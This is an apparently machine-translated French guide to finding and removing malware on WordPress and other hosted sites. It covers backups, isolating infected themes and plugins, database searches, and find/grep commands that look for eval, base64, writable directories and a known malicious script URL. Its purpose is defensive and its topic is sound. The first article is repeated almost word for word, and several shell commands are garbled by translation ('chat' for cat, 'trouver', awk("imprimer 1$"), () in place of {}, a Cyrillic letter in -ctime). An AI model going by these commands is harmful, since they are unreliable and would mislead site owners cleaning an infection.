Code WordPress malveillant. Comment supprimer un virus ou un code malveillant de WordPress ? Si tu trouves quelque chose d'intéressant

En tant que l’une des plateformes les plus couramment utilisées pour publier du contenu en ligne, WordPress est souvent infecté par des logiciels malveillants, des chevaux de Troie, des codes malveillants et d’autres éléments dangereux. Il y en a plusieurs guides pratiques, qui concernent la sécurité de WordPress et les problèmes de nettoyage de votre site contre les logiciels malveillants ( code malveillant). Ce sujet est si important et pertinent pour les propriétaires de sites Web qu’il n’y a rien de mal à revenir encore et encore sur sa discussion.

Les débutants qui viennent de commencer à utiliser un CMS autonome sur leur propre serveur Web paniquent lorsqu'ils rencontrent pour la première fois un malware sur leur site. Dans les tentatives de restauration de leur site, ils autorisent erreurs supplémentaires, ce qui entraîne souvent une perte totale de fichiers et de données importantes. Dans cet article, nous apprendrons comment rechercher, identifier et supprimer correctement les logiciels malveillants afin de ne pas nuire à vos données et fichiers principaux du site.

Faites des sauvegardes de votre site

Avant de passer à la discussion sur les logiciels malveillants et les sites piratés sur Basé sur WordPress, il est important d'aborder la question de la création de sauvegardes des informations de votre site. Si vous êtes nouveau sur en utilisant WordPress et que vous êtes sérieusement engagé dans la publication de contenu en ligne, la première chose à faire est de maîtriser rapidement les compétences de création de sauvegardes.

Les sauvegardes régulières de votre site doivent inclure non seulement la base de données du site, mais également tous les fichiers principaux. Ce processus ne prendra même pas quelques minutes, mais il vous fera gagner beaucoup de temps et de nerfs à l'avenir et vous mettra en garde contre un certain nombre de problèmes. de sérieux problèmes. Je recommande fortement Backup Buddy, Cloudsafe365 et VaultPress comme solutions premium pour effectuer des sauvegardes de routine et restaurer leurs données si nécessaire. Il y a aussi plugins gratuitsà cet effet, comme WP-DBManager et un guide de création de sauvegardes manuelles.

Dois-je restaurer le site ou rechercher des logiciels malveillants ?

Si vous utilisez un service de sauvegarde comme Backup Buddy ou VaultPress, vous avez la possibilité de restaurer votre site vers une version plus récente. première version. Cependant, je crois que ce n'est pas le plus meilleure idée. Restaurer votre site sans rechercher les raisons de l'échec et éliminer les logiciels malveillants peut entraîner la persistance de vulnérabilités sur votre site. Par conséquent, la meilleure chose à faire est de rechercher la vulnérabilité, de la corriger, puis de restaurer l’état du site.

Détermination de la présence de malware sur le site

Les logiciels malveillants sont généralement du contenu malveillant sur votre site qui est ajouté au site en insérant du code dans les pages, thèmes, plugins, fichiers ou base de données du site. Ce code peut contenir des logiciels qui nuiront aux ordinateurs des utilisateurs visitant votre site, à d'autres sites Web et aux cadres internes de votre propre site. De nombreuses techniques d’injection de logiciels malveillants sont utilisées pour lancer des attaques sur les sites WordPress.

Vérification du code HTML traité

Commencer recherche de logiciels malveillants Nous pouvons commencer par déterminer où et comment un code malveillant est déclenché sur votre site.

— Ce code est-il présent sur toutes les pages ?
- Est-ce qu'il apparaît seulement sur pages spécifiques ou dans des posts spécifiques ?
— Où exactement le code malveillant est-il apparu ? Il est inséré en pied de page, dans l'entête du site, dans le contenu principal ou dans panneaux latéraux site?

Les réponses à ces questions vous aideront à déterminer quels fichiers du site doivent être vérifiés en premier.

Nous vérifions vos plugins et thèmes pour détecter tout code malveillant

Les thèmes et plugins du site sont les plus souvent attaqués. Vous pouvez commencer par vérifier vos fichiers de thème pour détecter tout code malveillant. Si vous avez plusieurs thèmes de conception dans votre dossier de thèmes, vous devez vérifier tous les thèmes, même ceux de à l'heure actuelle inactif.

Plus d'une manière simple Le test consistera à télécharger une sauvegarde de votre dossier de thèmes et à supprimer tous les thèmes du serveur Web. Téléchargez ensuite une nouvelle copie du thème Twenty Eleven par défaut et hébergez-la sur votre serveur Web. Vérifiez maintenant votre site Web : si le code malveillant a disparu, cela signifie qu'il se trouvait entièrement dans l'un des fichiers de thème. Maintenant tu peux nettoyer le tien vieux sujet en ouvrant manuellement les fichiers dans un éditeur et en comparant le code du thème "propre" et votre thème pour détecter toute inclusion de code étrange ou suspecte. Vous pouvez également télécharger une nouvelle copie du thème depuis le site des développeurs.

Supposons que vous ayez parcouru tous les fichiers et rubriques et que vous n’y ayez trouvé aucun code malveillant. Ensuite, l’étape suivante consiste à rechercher les plugins. Utilisez la même méthode que celle utilisée pour les thèmes. Télécharger plugins de sauvegarde dans le dossier, puis supprimez-les de votre serveur. Visualisez maintenant le site dans votre navigateur et vérifiez si le code malveillant a disparu. Si oui, le problème venait d'un de vos plugins sur le site. Si vous constatez qu'un malware réapparaît sur le site après l'installation et l'activation d'un ou plusieurs plugins, alors supprimez ce plugin de votre serveur web.

Le meilleur moyens pratiques protéger vos thèmes et plugins :

- Supprimer sujets inutiles et plugins de votre serveur Web.
- Assurez-vous que vos thèmes et plugins proviennent toujours de sources fiables.
— Mettre régulièrement à jour les thèmes et plugins sur le site.
— N'utilisez pas de plugins premium et thèmes payants, téléchargés à partir de torrents ou de sites non officiels.

Trouver du code malveillant inséré dans les fichiers principaux de WordPress

Si vous avez déjà vérifié les thèmes et les plugins et qu’aucun code malveillant n’a disparu, la prochaine étape de votre recherche consiste à vérifier les fichiers principaux de WordPress. Là encore, je recommande d’adopter la même approche qu’avec les plugins et les thèmes.

Tout d'abord, nous effectuons une copie de sauvegarde de tous les fichiers de votre site (il est important que la sauvegarde inclue des fichiers tels que wp-config, le dossier wp-content, .htaccess et robots.txt). Après avoir terminé la procédure sauvegarde commencez à supprimer tous les fichiers de votre serveur Web. Téléchargez maintenant la dernière copie de WordPress et installez-le sur le serveur. Remplissez wp-config avec les informations de votre base de données. Allez maintenant sur le site et voyez s’il reste du code malveillant. Si le malware a disparu, vos fichiers du noyau ont été infectés. Restaurez maintenant soigneusement les images, vidéos et fichiers audio à partir de la sauvegarde de votre site Web.

Meilleurs moyens pratiques de protéger les fichiers de code dans WordPress

— Assurez-vous que toutes les autorisations sur le site pour les opérations sur les fichiers sont définies sur 644.
- Ne modifiez ni ne remplacez les fichiers principaux de WordPress.
— Utilisez des mots de passe forts dans le panneau d'administration Shell, FTP, DB et WordPress.

Trouver une injection SQL malveillante dans WordPress

Ci-dessus, nous avons déjà examiné les plugins, les thèmes et le noyau WordPress. Si tout cela ne permet pas de vaincre le code malveillant, il est temps de s’attaquer à la base de données. Tout d’abord, assurez-vous d’avoir sauvegardé la base de données de votre site. Si vous effectuez régulièrement des sauvegardes, vous pouvez toujours restaurer facilement version précédente BD. Mais avant cela, assurez-vous qu’un code malveillant s’est infiltré dans la base de données.

Téléchargez et installez Plugin WordPress Exploitez le scanner. Activez-le et explorez votre site Web. Exploit Scanner vérifiera votre base de données, vos fichiers principaux, vos plugins et vos thèmes pour détecter tout code suspect et vous donnera le résultat de l'analyse. Une fois l'analyse terminée, vous examinerez les résultats : si vous trouvez de nombreuses notifications d'erreurs et de faux avertissements, vous devrez sélectionner les résultats très soigneusement. Ce plugin ne supprime rien de vos fichiers et de votre base de données. Une fois que vous aurez découvert où exactement le code malveillant a été installé, vous devrez supprimer vous-même ces fichiers manuellement.

Copiez le code qui semble suspect et qui a été identifié par le plugin du scanner, puis exécutez une requête MySQL comme celle-ci en utilisant phpMyAdmin :

SELECT * Depuis wp_comments où comment_content Comme "%SuspiciousCodeHere%"

Selon l'endroit où ce code suspect est inséré (dans les publications, les commentaires ou les tableaux), vous devrez exécuter cette requête sur différents champs et tableaux du site. Si les lignes résultantes ne contiennent pas trop de code, vous pouvez modifier manuellement les fichiers et les champs pour supprimer le code malveillant. D'un autre côté, s'il renvoie trop de lignes, vous devrez peut-être exécuter la correction automatique sur les champs de la base de données, ce qui est assez risqué, et si vous ne savez pas comment utiliser cet outil correctement, vous risquez de perdre toutes les données. données de votre site.

Vous avez fait tout ce qui précède, mais vous rencontrez toujours des problèmes ?

Je pense que la plupart des gens sont capables d’identifier, de trouver et d’éliminer de manière indépendante et relativement facile les codes malveillants sur leurs sites WordPress. Mais parfois, les logiciels malveillants sont bien déguisés et ne peuvent pas être détectés. retrait simple. Si vous avez essayé toutes les méthodes mentionnées ci-dessus et n'avez rien découvert ou supprimé, alors il est temps d'inviter des experts en sécurité WordPress, d'utiliser des services en ligne ou les services de consultants qui nettoieront votre site des logiciels malveillants pour une somme modique.

Services de surveillance et de nettoyage de sites Web de Sucuri

Sucuri est une entreprise qui s'occupe de la surveillance et de la sécurité des sites Web. Ils proposent divers plans tarifaires, suppression de logiciels malveillants, surveillance de sites Web et services gratuits sites de numérisation. La procédure est assez simple et ne nécessite rien de votre part : ils examinent simplement votre site, vous envoient une notification s'ils trouvent quelque chose de suspect ou de dangereux, puis vous pouvez vous inscrire avec un compte sur le site Sucuri et transférer la tâche à un spécialiste. Ils affirment que la plupart des sites clients sont nettoyés dans les 4 heures.

Nous recherchons un expert individuel en sécurité WordPress

Il existe de nombreux sites Web indépendants sur lesquels vous pouvez publier une offre d'emploi pour un consultant en sécurité afin de résoudre le problème d'infection de votre site. Parmi toutes les propositions reçues, choisissez celle qui vous semble la plus expérimentée et la plus compétente. Vous pouvez également déposer une demande de travail pour nettoyer votre site des logiciels malveillants sur WordPress Jobs ou sur le Jobs Board de Smashing Magazine. Assurez-vous simplement que la personne que vous embauchez pour effectuer ces tâches est expérimentée, réputée et critiques positives sur les travaux antérieurs.

Conclusion

WordPress est aussi sûr à utiliser que possible. En tant que propriétaire du site Web, vous êtes responsable du site et de votre utilisation bon sens dans la lutte contre les menaces typiques de sécurité des sites Web. Utilisez des mots de passe forts, vérifiez les autorisations des fichiers, effacez régulièrement les favoris et créez des sauvegardes régulières - et vous n'aurez aucun problème.

En tant que l’une des plateformes les plus couramment utilisées pour publier du contenu en ligne, WordPress est souvent infecté par des logiciels malveillants, des chevaux de Troie, des codes malveillants et d’autres éléments dangereux. Il existe plusieurs guides pratiques relatifs à la sécurité de WordPress et au nettoyage de votre site contre les logiciels malveillants (code nuisible). Ce sujet est si important et pertinent pour les propriétaires de sites Web qu’il n’y a rien de mal à revenir encore et encore sur sa discussion.

Les débutants qui viennent de commencer à utiliser un CMS autonome sur leur propre serveur Web paniquent lorsqu'ils rencontrent pour la première fois un malware sur leur site. En essayant de restaurer leur site, ils commettent des erreurs supplémentaires, ce qui entraîne souvent une perte totale de fichiers et de données importantes. Dans cet article, nous apprendrons comment rechercher, identifier et supprimer correctement les logiciels malveillants afin de ne pas nuire à vos données et fichiers principaux du site.

Faites des sauvegardes de votre site

Avant de passer à la discussion sur les logiciels malveillants et les sites WordPress piratés, il est important de discuter de la question de la création de sauvegardes des informations de votre site. Si vous débutez dans l’utilisation de WordPress et que vous envisagez sérieusement de publier du contenu en ligne, la première chose à faire est de maîtriser rapidement les compétences de création de sauvegardes.

Les sauvegardes régulières de votre site doivent inclure non seulement la base de données du site, mais également tous les fichiers principaux. Ce processus ne prendra même pas quelques minutes, mais il vous fera gagner beaucoup de temps et de nerfs à l’avenir et vous évitera un certain nombre de problèmes graves. Je recommande fortement Backup Buddy, Cloudsafe365 et VaultPress comme solutions premium pour effectuer des sauvegardes de routine et restaurer les données si nécessaire. Il existe également des plugins gratuits à cet effet, comme WP-DBManager et un guide pour créer des sauvegardes manuelles.

Dois-je restaurer le site ou rechercher des logiciels malveillants ?

Si vous utilisez un service de sauvegarde comme Backup Buddy ou VaultPress, vous avez la possibilité de restaurer votre site vers une version antérieure. Cependant, je pense que ce n'est pas la meilleure idée. Restaurer votre site sans examiner les causes de l'échec et éliminer les logiciels malveillants peut entraîner la persistance de vulnérabilités sur votre site. Par conséquent, la meilleure chose à faire serait de trouver la vulnérabilité, de la corriger, puis de restaurer l’état du site.

Détermination de la présence de malware sur le site

Les logiciels malveillants sont généralement du contenu malveillant sur votre site qui est ajouté au site en insérant du code dans les pages, thèmes, plugins, fichiers ou base de données du site. Ce code peut contenir des logiciels qui nuiront aux ordinateurs des utilisateurs visitant votre site, à d'autres sites Web et aux cadres internes de votre propre site. De nombreuses techniques d’injection de logiciels malveillants sont utilisées pour lancer des attaques sur les sites WordPress.

Vérification du code HTML traité

Nous pouvons commencer à rechercher des logiciels malveillants en recherchant où et comment le code malveillant est déclenché sur votre site Web.

  • Ce code est-il présent sur toutes les pages ?
  • Apparaît-il uniquement sur des pages spécifiques ou dans des articles spécifiques ?
  • D’où vient exactement le code malveillant ? Est-il inséré dans le pied de page, dans l’en-tête du site, dans le contenu principal ou dans les barres latérales du site ?

Les réponses à ces questions vous aideront à déterminer quels fichiers du site doivent être vérifiés en premier.

Nous vérifions vos plugins et thèmes pour détecter tout code malveillant

Les thèmes et plugins du site sont les plus souvent attaqués. Vous pouvez commencer par vérifier vos fichiers de thème pour détecter tout code malveillant. Si vous avez plusieurs thèmes de conception dans votre dossier de thèmes, vous devez vérifier tous les thèmes, même ceux qui sont actuellement inactifs.

Un moyen plus simple de vérifier serait de télécharger une sauvegarde de votre dossier de thèmes et de supprimer tous les thèmes du serveur Web. Téléchargez ensuite une nouvelle copie du thème par défaut et hébergez-la sur votre serveur Web. Vérifiez maintenant votre site Web : si le code malveillant a disparu, cela signifie qu'il se trouvait entièrement dans l'un des fichiers de thème. Vous pouvez maintenant nettoyer votre ancien thème en ouvrant manuellement les fichiers dans un éditeur et en comparant le code du thème « propre » et votre thème pour détecter toute inclusion de code étrange ou suspecte. Vous pouvez également télécharger une nouvelle copie du thème depuis le site Web des développeurs.

Supposons que vous ayez parcouru tous les fichiers et rubriques et que vous n’y ayez trouvé aucun code malveillant. Ensuite, l’étape suivante consiste à rechercher les plugins. Utilisez la même méthode que celle utilisée pour les thèmes. Téléchargez une sauvegarde des plugins dans un dossier, puis supprimez-les de votre serveur. Visualisez maintenant le site dans votre navigateur et vérifiez si le code malveillant a disparu. Si oui, le problème venait d'un de vos plugins sur le site. Si vous constatez qu'un malware réapparaît sur le site après l'installation et l'activation d'un ou plusieurs plugins, alors supprimez ce plugin de votre serveur web.

Les meilleures pratiques pour protéger vos thèmes et plugins sont :
  • Supprimez les thèmes et plugins inutiles de votre serveur Web.
  • Assurez-vous que vos thèmes et plugins proviennent toujours de sources fiables.
  • Mettez régulièrement à jour les thèmes et plugins de votre site.
  • N'utilisez pas de plugins premium ou de thèmes payants téléchargés à partir de torrents ou de sites non officiels.
Trouver du code malveillant inséré dans les fichiers principaux de WordPress

Si vous avez déjà vérifié les thèmes et les plugins et qu’aucun code malveillant n’a disparu, la prochaine étape de votre recherche consiste à vérifier les fichiers principaux de WordPress. Là encore, je recommande d’adopter la même approche qu’avec les plugins et les thèmes.

Tout d'abord, nous effectuons une copie de sauvegarde de tous les fichiers de votre site (il est important que la sauvegarde inclue des fichiers tels que wp-config, le dossier wp-content, .htaccess et robots.txt). Une fois la procédure de sauvegarde terminée, commencez à supprimer tous les fichiers de votre serveur Web. Téléchargez maintenant une nouvelle copie de WordPress et installez-la sur votre serveur. Remplissez wp-config avec les informations de votre base de données. Allez maintenant sur le site et voyez s’il reste du code malveillant. Si le malware a disparu, vos fichiers du noyau ont été infectés. Restaurez maintenant soigneusement les images, vidéos et fichiers audio à partir de la sauvegarde de votre site Web.

Meilleurs moyens pratiques de protéger les fichiers de code dans WordPress
  • Assurez-vous que toutes les autorisations d'opération de fichiers sur le site sont définies sur 644.
  • Ne modifiez ni ne remplacez les fichiers principaux dans WordPress.
  • Utilisez des mots de passe forts dans le panneau d'administration Shell, FTP, DB et WordPress.
Trouver une injection SQL malveillante dans WordPress

Ci-dessus, nous avons déjà examiné les plugins, les thèmes et le noyau WordPress. Si tout cela ne permet pas de vaincre le code malveillant, il est temps de s'attaquer à la base de données. Tout d’abord, assurez-vous d’avoir sauvegardé la base de données de votre site. Si vous effectuez régulièrement des sauvegardes, vous pouvez toujours facilement restaurer la version précédente de la base de données. Mais avant cela, assurez-vous qu’un code malveillant s’est infiltré dans la base de données.

Téléchargez et installez le plugin WordPress Exploit Scanner. Activez-le et explorez votre site Web. Exploit Scanner vérifiera votre base de données, vos fichiers principaux, vos plugins et vos thèmes pour détecter tout code suspect et vous donnera le résultat de l'analyse. Une fois l'analyse terminée, vous examinerez les résultats : si vous trouvez de nombreuses notifications d'erreurs et de fausses alertes, vous devrez sélectionner les résultats très soigneusement. Ce plugin ne supprime rien de vos fichiers et de votre base de données. Une fois que vous aurez découvert où exactement le code malveillant a été installé, vous devrez supprimer vous-même ces fichiers manuellement.

Si vous n'avez pas encore effectué de copie de sauvegarde de votre base de données, faites-le avant d'apporter des modifications à la base de données. Une sauvegarde, même contenant du code malveillant, est toujours meilleure que absence totale copies de sauvegarde.

Copiez le code qui semble suspect et qui a été identifié par le plugin du scanner, puis exécutez une requête MySQL comme celle-ci en utilisant phpMyAdmin :

SELECT * Depuis wp_comments où comment_content Comme "%SuspiciousCodeHere%"

Selon l'endroit où ce code suspect est inséré (dans les publications, les commentaires ou les tableaux), vous devrez exécuter cette requête sur différents champs et tableaux du site. Si les lignes résultantes ne contiennent pas trop de code, vous pouvez modifier manuellement les fichiers et les champs pour supprimer le code malveillant. En revanche, s'il renvoie trop de lignes, alors vous devrez peut-être exécuter une correction automatique sur les champs de la base de données, ce qui est assez risqué, et si vous ne savez pas comment utiliser correctement cet outil, vous risquez de perdre toutes les données. depuis votre site.

Avez-vous fait tout ce qui précède, mais vous rencontrez toujours des problèmes ?

Je pense que la plupart des gens sont capables d’identifier, de trouver et d’éliminer de manière indépendante et relativement facile les codes malveillants sur leurs sites WordPress. Mais parfois, les logiciels malveillants sont bien déguisés et ne peuvent pas être facilement supprimés. Si vous avez essayé toutes les méthodes mentionnées ci-dessus et que vous n’avez toujours rien découvert ou supprimé, alors il est temps d’inviter des experts en sécurité WordPress, d’utiliser des services en ligne ou les services de consultants qui nettoieront votre site des logiciels malveillants pour une somme modique.

Services de surveillance et de nettoyage de sites Web de Sucuri Sucuri est une entreprise qui s'occupe de la surveillance et de la sécurité des sites Web. Ils offrent une variété de plans tarifaires, de suppression de logiciels malveillants, de surveillance de sites Web et de services gratuits d'analyse de sites Web. La procédure est assez simple et ne nécessite rien de votre part : ils examinent simplement votre site, vous envoient une notification s'ils trouvent quelque chose de suspect ou de dangereux, puis vous pouvez vous inscrire avec un compte sur le site Sucuri et transférer la tâche à un spécialiste. Ils affirment que la plupart des sites clients sont nettoyés dans les 4 heures.

Nous recherchons un expert individuel en sécurité WordPress

Il existe de nombreux sites Web indépendants sur lesquels vous pouvez publier une offre d'emploi pour un consultant en sécurité afin de résoudre le problème d'infection de votre site. Parmi toutes les propositions reçues, choisissez celle qui vous semble la plus expérimentée et la plus compétente. Vous pouvez également déposer une demande de travail pour nettoyer votre site des logiciels malveillants sur WordPress Jobs ou sur le Jobs Board de Smashing Magazine. Assurez-vous simplement que la personne que vous embauchez pour effectuer ces tâches est expérimentée, a une bonne réputation et a des critiques positives sur ses travaux antérieurs.

Conclusion

WordPress est aussi sûr à utiliser que possible. En tant que propriétaire du site Web, vous êtes responsable du site et devez faire preuve de bon sens face aux menaces courantes pour la sécurité du site. Utilisez des mots de passe forts, vérifiez les autorisations des fichiers, effacez régulièrement les favoris et créez des sauvegardes régulières - et vous n'aurez aucun problème.

Chaque webmaster a été confronté au problème de trouver des vulnérabilités dans son site Web, à l'aide desquelles un attaquant peut télécharger son code malveillant, ce qui, d'une manière ou d'une autre, affectera les performances de l'ensemble du site, jusqu'à son exclusion des résultats de recherche.

Le plus souvent, l’infection est due à facteur humain, mais que faire si le site est piraté ?

Principaux problèmes

Le moindre mal est de rechercher et de supprimer le code malveillant lui-même. Le principal problème est de trouver le point vulnérable par lequel l'attaquant a téléchargé son code sur votre site afin de se protéger contre d'autres précédents similaires.

Beaucoup de choses ont été écrites sur la recherche de codes malveillants. programmes antivirus, de nombreux services ont été créés pour pointer vers l'adresse d'une page infectée, fournissant même une signature et des informations complètes sur le virus lui-même. Mais aucun logiciel ne pourra pas vous dire comment ce « code extraterrestre » est apparu sur le site. Ici, vous ne devez compter que sur vous-même.

Ci-dessous, je vais donner plusieurs commandes qui peuvent être utilisées lors de la recherche de fichiers infectés et/ou de shells/portes dérobées téléchargés sur votre site Web. Pour ce faire, nous avons besoin du programme Putty et d'un accès SSH au site.

Rechercher des fichiers infectés

À l’aide des commandes suivantes, vous pouvez trouver des fichiers contenant des éléments « dangereux » qui peuvent être utilisés par un attaquant pour exécuter du code obscurci malveillant.

La sortie des fichiers sera écrite dans un fichier journal dans votre répertoire actuel. Chaque fichier contiendra le chemin d'accès au fichier trouvé et une ligne avec une section de code suspecte.

find /Répertoire avec le site -type f -iname "*" -exec grep -Him1 "eval" () \; > ./eval.log
find /Répertoire avec le site -type f -iname "*" -exec grep -Him1 "base64" () \; > ./base64.log
find /Répertoire avec le site -type f -iname "*" -exec grep -Him1 "file_get_contents" () \; > ./file_get_contents.log

Recherche de répertoires avec des autorisations d'écriture complètes

La commande suivante affiche une liste de répertoires où pleins droits pour l'enregistrement. Ce sont les répertoires utilisés pour infecter un site Web.

find ./Répertoire avec le site Web -perm 777 -type d

Rechercher des fichiers modifiés sur une période

Si vous savez approximativement quand l'infection s'est produite, vous pouvez afficher une liste des fichiers modifiés au cours des derniers jours (le paramètre –mtime -7 indique une date de modification autre que celle actuelle des 7 derniers jours).

find ./Répertoire avec le site Web -type f -iname "*" -mtime -7

Que faire si le site est infecté ?

Supposons donc que nous ayons trouvé des fichiers infectés ou un fichier shell. Avant de le supprimer/supprimer le code malveillant, souvenez-vous de son nom ( chemin complet), la date à laquelle le fichier a été modifié/créé, son identifiant et son identifiant utilisateur (pour systèmes Unix), cela vous permettra de trouver un moyen de le télécharger sur notre site. Commençons par l'utilisateur et le groupe :

Vérifiez sous quel utilisateur votre serveur Web s'exécute :

ps-aux | grep "apache2" | awk("imprimer 1$")


Si cet utilisateur est le même que celui qui a créé fichier malveillant, nous pouvons alors supposer qu'il a été téléchargé via le site lui-même. Sinon, le fichier aurait pu être téléchargé via FTP (nous vous recommandons fortement de changer les mots de passe du serveur FTP et panneau administratif site).

chat ./site.ru.access.log | grep "nom nomfichierOfShellScript"


Et nous obtenons le résultat de toutes les requêtes adressées à notre script. En l'utilisant, nous déterminons le userAgent et l'adresse IP de notre attaquant.

Avec la commande suivante, nous obtenons une liste de toutes les demandes auxquelles il nous est parvenu.

chat ./site.ru.access.log | grep « ip » | grep "userAgent"


En l'analysant attentivement, vous pouvez trouver un point vulnérable sur le site, vous devriez payer attention particulière aux requêtes POST de la sortie, qui auraient pu être utilisées pour télécharger un fichier malveillant.

Andrey Izhakovsky, administrateur système


La vérité de la vie est que le site peut être piraté tôt ou tard. Après avoir exploité avec succès la vulnérabilité, le pirate informatique tente de prendre pied sur le site en plaçant des shells Web et des téléchargeurs dans les répertoires système et en introduisant des portes dérobées dans le code de script et la base de données CMS.

Pour détecter les codes malveillants dans les fichiers et les bases de données, il existe des solutions spécialisées : antivirus et scanners pour l'hébergement. Il n'y en a pas beaucoup ; les plus populaires sont AI-BOLIT, MalDet (Linux Malware Detector) et ClamAv.

Les scanners aident à détecter les shells Web chargés, les portes dérobées, les pages de phishing, les spams et autres types de scripts malveillants - tout ce qu'ils connaissent et sont pré-ajoutés à la base de données de signatures de codes malveillants. Certains scanners, tels que AI-BOLIT, disposent d'un ensemble de règles heuristiques capables de détecter les fichiers contenant du code suspect souvent utilisé dans des scripts malveillants, ou les fichiers dotés d'attributs suspects pouvant être téléchargés par des pirates. Mais malheureusement, même si plusieurs scanners sont utilisés sur l'hébergement, il peut y avoir des situations où certains scripts de pirates ne sont pas détectés, ce qui signifie en fait que l'attaquant se retrouve avec une « porte dérobée » et qu'il peut pirater le site et s'en emparer. contrôle totalà tout moment.

Les scripts modernes de logiciels malveillants et de pirates informatiques sont très différents de ceux d’il y a 4 à 5 ans. Actuellement, les développeurs de codes malveillants combinent obscurcissement, chiffrement, décomposition, chargement externe code malveillant et utilisez d’autres astuces pour tromper les logiciels antivirus. Par conséquent, la probabilité de manquer de nouveaux logiciels malveillants est beaucoup plus élevée qu’auparavant.

Que peut-on faire dans dans ce cas pour une détection plus efficace des virus sur le site et des scripts de hackers sur l'hébergement ? Doit être utilisé approche intégrée: analyse automatisée initiale et analyse manuelle ultérieure. Cet article abordera les options de détection de code malveillant sans scanner.

Tout d’abord, regardons ce que vous devez exactement rechercher lors d’un hack.

  • Scripts de hackers.
    Le plus souvent, lors du piratage, les fichiers téléchargés sont des shells Web, des portes dérobées, des « uploaders », des scripts pour les envois de spam, des pages de phishing + des gestionnaires de formulaires, des portes et des fichiers de marqueurs de piratage (images avec logo). groupe de hackers, fichiers texte avec un « message » de hackers, etc.)
  • Injections (injections de code) dans des fichiers .
    Le deuxième type d’hébergement de code malveillant et de pirate informatique le plus populaire est l’injection. DANS fichiers existants website.htaccess peut injecter des redirections mobiles et de recherche, injecter des portes dérobées dans des scripts php/perl, intégrer des fragments javascript viraux ou des redirections dans des modèles .js et .html ressources tierces. Des injections sont également possibles dans des fichiers multimédias, par exemple.jpg ou. Souvent, le code malveillant se compose de plusieurs composants : le code malveillant lui-même est stocké dans l'en-tête exif. fichier jpg, mais est exécuté à l'aide d'un petit script de contrôle dont le code ne semble pas suspect au scanner.
  • Injections de bases de données.
    La base de données est la troisième cible d'un pirate informatique. Ici, des insertions statiques sont possibles, , , , qui redirigent les visiteurs vers des ressources tierces, les « espionnent » ou infectent l'ordinateur/l'appareil mobile du visiteur à la suite d'une attaque au volant.
    De plus, dans de nombreux CMS modernes (IPB, vBulletin, modx, etc.), les moteurs de modèles vous permettent d'exécuter code php, et les modèles eux-mêmes sont stockés dans la base de données, de sorte que le code PHP des shells Web et des portes dérobées peut être intégré directement dans la base de données.
  • Injections dans les services de mise en cache.
    En raison d'une configuration incorrecte ou dangereuse des services de mise en cache, par exemple Memcached, des injections dans les données mises en cache « à la volée » sont possibles. Dans certains cas, un pirate informatique peut injecter du code malveillant dans les pages d'un site sans pirater directement le site.
  • Injections/éléments initiés dans composants du système serveur.
    Si un pirate informatique a obtenu un accès privilégié (root) au serveur, il peut remplacer les éléments du serveur Web ou du serveur de mise en cache par des éléments infectés. Un tel serveur Web assurera, d’une part, le contrôle du serveur à l’aide de commandes de contrôle et, d’autre part, introduira de temps en temps des redirections dynamiques et du code malveillant dans les pages du site. Comme dans le cas d'une injection dans un service de mise en cache, l'administrateur du site ne pourra probablement pas détecter le fait que le site a été piraté, puisque tous les fichiers et la base de données seront originaux. Cette option est la plus difficile à traiter.
  • Supposons donc que vous ayez déjà vérifié les fichiers sur l'hébergement et le dump de la base de données avec des scanners, mais qu'ils n'aient rien trouvé et que le virus soit toujours sur la page ou que la redirection mobile continue de fonctionner lors de l'ouverture des pages. Comment chercher plus loin ?

    Recherche manuelle

    Sous Unix, il est difficile de trouver une paire de commandes plus utile pour rechercher des fichiers et des fragments que find/grep.

    trouver . -name '*.ph*' -mtime -7

    trouvera tous les fichiers qui ont été modifiés pendant la semaine dernière. Parfois, les pirates « tordent » la date de modification des scripts afin de ne pas détecter de nouveaux scripts. Ensuite vous pouvez rechercher des fichiers php/phtml dont les attributs ont changé

    trouver . -name '*.ph*' -сtime -7

    Si vous avez besoin de rechercher des modifications dans un certain intervalle de temps, vous pouvez utiliser la même recherche

    trouver . -name '*.ph*' -newermt 2015-01-25 ! -newermt 2015-01-30 -ls

    Pour rechercher des fichiers, grep est indispensable. Il peut rechercher de manière récursive dans les fichiers un fragment spécifié

    grep -ril 'stummann.net/steffen/google-analytics/jquery-1.6.5.min.js' *

    Lors du piratage d'un serveur, il est utile d'analyser les fichiers dont l'indicateur guid/suid est défini

    trouver / -perm -4000 -o -perm -2000

    Pour déterminer quels scripts sont en cours d'exécution et chargent le processeur d'hébergement, vous pouvez appeler

    lsof +r 1 -p `ps axww | grep httpd | grep -v grep | awk ‘ ( if(!str) ( str=$1 ) else ( str=str”,”$1))END(print str)’` | grep vhosts | grep php

    Nous utilisons notre cerveau et nos mains pour analyser les fichiers sur l'hébergement
  • Nous allons dans les répertoires de téléchargement, de cache, tmp, de sauvegarde, de journal, d'images, dans lesquels quelque chose est écrit par des scripts ou téléchargés par les utilisateurs, et analysons le contenu à la recherche de nouveaux fichiers avec des extensions suspectes. Par exemple, pour Joomla, vous pouvez vérifier les fichiers .php dans le répertoire images:find ./images -name '*.ph*' Très probablement, si quelque chose est trouvé, il s'agira d'un malware.
    Pour WordPress, il est logique de vérifier les scripts dans le répertoire wp-content/uploads, les répertoires de thème de sauvegarde et de cache.
  • Recherche de fichiers avec des noms étranges
    Par exemple, php, pour info.php, n2fd2.php. Les fichiers peuvent être recherchés
    • par des combinaisons non standards de caractères,
    • présence des nombres 3,4,5,6,7,8,9 dans les noms de fichiers
  • Nous recherchons des fichiers avec des extensions inhabituelles
    Disons que vous avez un site Web sur WordPress ou que pour eux les fichiers avec les extensions .py, .pl, .cgi, .so, .c, .phtml, .php3 ne seront pas tout à fait ordinaires. Si des scripts et des fichiers portant ces extensions sont détectés, il s’agira très probablement d’outils de piratage. Le pourcentage de fausses détections est possible, mais il n'est pas élevé.
  • Nous recherchons des fichiers avec des attributs ou une date de création non standard
    La suspicion peut être provoquée par des fichiers dont les attributs diffèrent de ceux existants sur le serveur. Par exemple, tous les scripts .php ont été téléchargés via ftp/sftp et ont l'utilisateur user, et certains ont été créés par l'utilisateur www-data. Il est logique de vérifier les dernières. Ou si la date de création du fichier script avant la date création de site internet.
    Pour accélérer la recherche de fichiers avec des attributs suspects, il est pratique d'utiliser commande unix trouver.
  • Nous recherchons des portes par un grand nombre Fichiers .html ou .php
    S'il y a plusieurs milliers de fichiers .php ou .html dans le répertoire, il s'agit probablement d'une porte.
  • Journaux pour aider

    Journaux du serveur Web, service postal et FTP peut être utilisé pour détecter les scripts malveillants et pirates.

    • Corrélation de la date et de l'heure d'envoi de la lettre (que l'on retrouve dans le journal serveur de messagerie ou l'en-tête de service d'une lettre de spam) avec les requêtes de access_log aident à identifier la méthode d'envoi de spam ou à trouver le script de l'expéditeur du spam.
